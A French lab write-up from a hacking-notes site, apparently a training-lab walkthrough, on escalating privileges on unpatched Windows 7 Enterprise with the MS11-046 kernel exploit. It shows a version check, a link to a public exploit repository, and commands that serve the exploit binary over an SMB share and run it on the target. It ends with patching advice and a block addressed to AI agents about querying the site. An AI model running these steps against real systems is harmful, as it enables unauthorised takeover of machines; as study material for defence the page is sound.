> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/windows-vulnerabilities/kernel-exploitation/windows-7-enterprise-kernel-exploitation.md).

# Windows 7 Enterprise - MS11-046

Cette note documente un cas de laboratoire sur une vieille cible Windows 7 Enterprise non corrigée. L'exploitation du noyau doit toujours commencer par une validation précise de la version et des correctifs.

## Détection

```powershell
systeminfo
```

Version observée :

```
VERSION DE L'OS : 6.1.7600 N/A Build 7600
```

<figure><img src="/files/d3bfd9586d384865d779e502aaf2dfe1ab44f7f3" alt="Windows 7 Enterprise systeminfo output"><figcaption></figcaption></figure>

## Exploit MS11-046

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS11-046>" %}

<figure><img src="/files/ec47875d3a180730d206423992505c3d19173691" alt="MS11-046 exploit reference"><figcaption></figcaption></figure>

<figure><img src="/files/0848a8c31e295d376b38f6a477087b07393c5b27" alt="MS11-046 exploit file"><figcaption></figcaption></figure>

## Transfert via SMB

```bash
smbserver.py share $(pwd) -smb2support
```

```powershell
copy \\10.10.14.26\share\ms11-046.exe ms11.exe
```

<figure><img src="/files/c764d9bc46b08ab25b04d8d3967e794912e857e6" alt="MS11-046 exploit transferred over SMB"><figcaption></figcaption></figure>

## Exécuter

```powershell
./ms11.exe
```

<figure><img src="/files/e02c3ecd2dc00cf8c3e56586793d8a30cb25d912" alt="MS11-046 privileged execution result"><figcaption></figcaption></figure>

## Points clés

* Une ancienne version de Windows ne suffit pas ; vérifiez les correctifs installés.
* Le transfert SMB est pratique dans les environnements de laboratoire Windows.
* Corrigez en appliquant des correctifs ou en retirant les systèmes obsolètes.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/windows-vulnerabilities/kernel-exploitation/windows-7-enterprise-kernel-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
